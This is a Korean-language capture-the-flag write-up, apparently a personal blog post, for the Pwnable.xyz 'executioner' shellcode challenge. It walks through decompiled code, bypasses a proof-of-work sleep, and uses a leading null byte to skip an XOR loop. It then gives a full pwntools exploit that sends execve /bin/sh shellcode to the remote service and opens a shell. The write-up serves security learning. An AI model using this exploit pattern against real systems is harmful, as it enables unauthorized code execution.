tmxklab
[Pwnable.xyz] executioner 본문
1. 문제
nc svc.pwnable.xyz 30025
1) mitigation 확인
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v4; // rax
int i; // [rsp+0h] [rbp-20h]
int fd; // [rsp+4h] [rbp-1Ch]
setup(argc, argv, envp);
solve_pow();
puts("Shellcode executioner");
fd = open("/dev/urandom", 0);
if ( fd != -1 )
{
read(fd, key, 0x7FuLL);
close(fd);
printf("Input: ");
read(0, inpt, 0x7FuLL);
for ( i = 0; i < strlen(inpt); ++i )
inpt[i] ^= key[i];
v4 = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
*v4 = *(_QWORD *)inpt;
v4[1] = qword_202288;
v4[2] = qword_202290;
v4[3] = qword_202298;
v4[4] = qword_2022A0;
v4[5] = qword_2022A8;
v4[6] = qword_2022B0;
v4[7] = qword_2022B8;
v4[8] = qword_2022C0;
v4[9] = qword_2022C8;
v4[10] = qword_2022D0;
v4[11] = qword_2022D8;
v4[12] = qword_2022E0;
v4[13] = qword_2022E8;
v4[14] = qword_2022F0;
v4[15] = qword_2022F8;
__asm { jmp rax }
}
puts("error");
return 1;
}
- solve_pow()가 먼저 실행되고 "/dev/urandom"파일을 open하여 key에 0x7f크기만큼 저장한다.
- inpt에 0x7f만큼 입력 값을 받고 inpt길이만큼 inpt[i] = inpt[i] xor key[i]를 수행한다.
- mmap()을 통해 가상 메모리 매핑하여 v4에는 inpt의 포인터 값 그리고 v4[1] ~ v4[15]까지 qword_202288 ~ qword_2022f8의 값으로 초기화한다.
- 마지막으로 jmp rax를 한다.
3-2) solve_pow()
unsigned __int64 solve_pow()
{
unsigned int buf; // [rsp+8h] [rbp-18h]
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
int fd; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom");
exit(1);
}
buf = 0;
read(fd, &buf, 4uLL);
close(fd);
v2 = 0;
v3 = 0;
printf("POW: x + y == 0x%x\n", buf);
printf("> ");
if ( (unsigned int)_isoc99_scanf("%d %d", &v2, &v3) != 2 )
{
puts("scanf error");
exit(1);
}
getchar();
if ( v3 + v2 != buf )
{
puts("POW failed");
exit(1);
}
puts("Loading challenge... ");
sleep(v2 * v3);
return __readfsqword(0x28u) ^ v5;
}
- buf에 "/dev/urandom"의 값을 4byte만큼 저장한다.
- v2와 v3가 더한 값이 buf와 일치하지 않으면 프로그램이 종료된다.
- 근데 v2*v3만큼 sleep한다. 그래서 v2에는 0을 넣고 v3에는 buf의 값을 넣어야 sleep을 지나갈 것 같다.
전역변수)
2. 접근방법
일단 solve_pow()가 호출되고 문제를 풀면은 main함수의 로직이 실행된다.
solve_pow()에서는 buf변수의 랜덤한 4byte 값이 두 수의 더한 값과 동일하면 통과된다. 하지만 sleep(v2 * v3)로 인해 두 수의 곱이 엄청나게 큰 수가 되면은 많은 시간이 걸린다.
따라서, 두 수 중 한개는 0으로 세팅하고 나머지 수는 buf의 수와 동일하면 될 것이다.
메인 함수 for문)
printf("Input: ");
read(0, inpt, 0x7FuLL);
for ( i = 0; i < strlen(inpt); ++i )
inpt[i] ^= key[i];
- inpt에 0x7f만큼 입력을 받을 수 있고 inpt[i] = inpt[i] xor key[i]를 strlen(inpt)회 반복 수행한다.
- key값은 "/dev/urandom"에서 랜덤한 값으로 세팅되어 있다.
- mmap()을 통해 메모리 할당받은 공간의 주소를 rax에 저장하고 inpt의 모든 값들을 rax로 옮겨 놓는다.
- 모든 inpt의 값을 rax에 옮겨 놓고 rax로 jmp한다.
- 따라서, jmp하게 되면 mmap영역에 저장된 inpt에 있는 값들을 실행하게 된다.
그러면 inpt에 쉘 코드를 작성하면 되는데 문제는 for문에서 key값과 xor연산하는 부분이다. for문을 반복하는 조건문은 strlen(inpt)이며 strlen()는 문자열의 끝을 널 바이트로 인식하므로 만약에 inpt의 첫 바이트에 널 바이트를 넣게 되면 for문은 바로 종료될 것이다.
공격 프로세스)
- slove_pow()에서 scanf()를 통해 두 개의 입력 값을 받는데 한 개는 0으로 세팅하고 나머지 한 개는 buf값으로 세팅한다.
- 메인 함수에서 read()를 통해 쉘 코드를 받을 수 있는데 이 때 첫 바이트는 널 바이트로 작성한다.
- for문이 무시되고 mmap영역으로 옮겨진 쉘 코드를 실행한다.
3. 풀이
1) 익스코드
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30025)
#gdb.attach(p)
# 1. solve_pow
p.recvuntil("0x")
data = p.recvuntil("\n")[:-1]
p.sendlineafter("> ", "0")
sleep(1)
p.sendline(str(int(data, 16)))
# 2. shellcode
shellcode = '\x00\x00'
"""
shellcode += asm("xor rax, rax")
shellcode += asm("xor rsi, rsi")
shellcode += asm("xor rdi, rdi")
shellcode += asm("xor rdx, rdx")
shellcode += asm("mov al, 0x3b")
shellcode += asm("movabs rbx, 0x68732f6e69622f2f")
shellcode += asm("push rbx")
shellcode += asm("mov rdi, rsp")
shellcode += asm("syscall")
"""
shellcode += asm(shellcraft.amd64.sh())
p.sendafter("Input: ", shellcode)
p.interactive()
- 처음에 쉘 코드를 직접 작성하였는데(주석 친 부분) 로컬에서는 되지만 리모트에서는 쉘을 딸 수 없었다.
- 혹시나 하는 마음에 shellcraft를 사용하였는데 바로 되어서(?) 뭐가 문제인지 모르겠다 띵띵ㅠ
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] badayum (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] password (0) | 2020.09.09 |
[Pwnable.xyz] punch it (0) | 2020.09.09 |
[Pwnable.xyz] catalog (0) | 2020.09.09 |
[Pwnable.xyz] PvP (0) | 2020.09.09 |
Comments